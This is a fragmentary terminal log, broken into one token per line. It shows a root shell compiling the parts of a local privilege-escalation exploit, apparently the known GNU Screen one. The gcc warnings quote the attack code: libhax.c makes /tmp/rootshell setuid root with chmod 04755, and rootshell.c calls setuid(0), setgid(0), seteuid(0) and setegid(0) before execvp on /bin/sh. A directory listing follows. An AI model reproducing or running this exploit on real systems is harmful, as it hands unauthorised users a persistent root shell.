root@rocky:~
/
screnn
-
dc
root@rocky:~
/
screnn
-
dc
.
/
libhax.c:
7
:
5
: warning: implicit declaration of function ‘chmod’ [
-
Wimplicit
-
function
-
declaration]
7
| chmod(
"/tmp/rootshell"
,
04755
);
| ^~~~~
root@rocky:~
/
screnn
-
dc
root@rocky:~
/
screnn
-
dc
.
/
rootshell.c: In function ‘main’:
.
/
rootshell.c:
3
:
5
: warning: implicit declaration of function ‘setuid’ [
-
Wimplicit
-
function
-
declaration]
3
| setuid(
0
);
| ^~~~~~
.
/
rootshell.c:
4
:
5
: warning: implicit declaration of function ‘setgid’ [
-
Wimplicit
-
function
-
declaration]
4
| setgid(
0
);
| ^~~~~~
.
/
rootshell.c:
5
:
5
: warning: implicit declaration of function ‘seteuid’ [
-
Wimplicit
-
function
-
declaration]
5
| seteuid(
0
);
| ^~~~~~~
.
/
rootshell.c:
6
:
5
: warning: implicit declaration of function ‘setegid’ [
-
Wimplicit
-
function
-
declaration]
6
| setegid(
0
);
| ^~~~~~~
.
/
rootshell.c:
7
:
5
: warning: implicit declaration of function ‘execvp’ [
-
Wimplicit
-
function
-
declaration]
7
| execvp(
"/bin/sh"
, NULL, NULL);
| ^~~~~~
.
/
rootshell.c:
7
:
5
: warning: too many arguments to built
-
in
function ‘execvp’ expecting
2
[
-
Wbuiltin
-
declaration
-
mismatch]
root@rocky:~
/
screnn
-
dc
root@rocky:~
/
screnn
-
dc
libhax.c libhax.so rootshell rootshell.c run.sh